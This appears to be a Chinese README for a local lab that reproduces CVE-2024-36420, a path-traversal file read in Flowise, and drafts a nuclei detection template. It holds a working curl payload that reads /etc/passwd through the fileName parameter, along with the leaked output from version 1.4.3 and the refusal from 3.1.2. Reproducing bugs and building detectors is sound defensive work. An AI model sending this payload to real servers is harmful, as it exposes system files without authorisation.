针对 Flowise 的 CVE-2024-36420 本地复现实验室与 nuclei 模板草稿。
CVE-2024-36420 是 Flowise 中因未对 fileName 请求体参数进行清理而导致的任意文件读取漏洞,漏洞位于:
POST /api/v1/openai-assistants-file该实验室用于验证:
flowiseai/flowise:1.4.3 版本的脆弱行为flowiseai/flowise:3.1.2 的拒绝行为docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yaml启动 Flowise 1.4.3:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
手动验证:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
观察到的脆弱响应:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
启动较新的 Flowise 3.1.2:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
手动验证:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
观察到的较新版本响应:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
验证模板:
nuclei -duc -validate -t CVE-2024-36420.yaml
针对脆弱目标运行:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
预期行为:
1.4.3:匹配3.1.2:不匹配1.4.3 版本存在漏洞3.1.2 版本被拒绝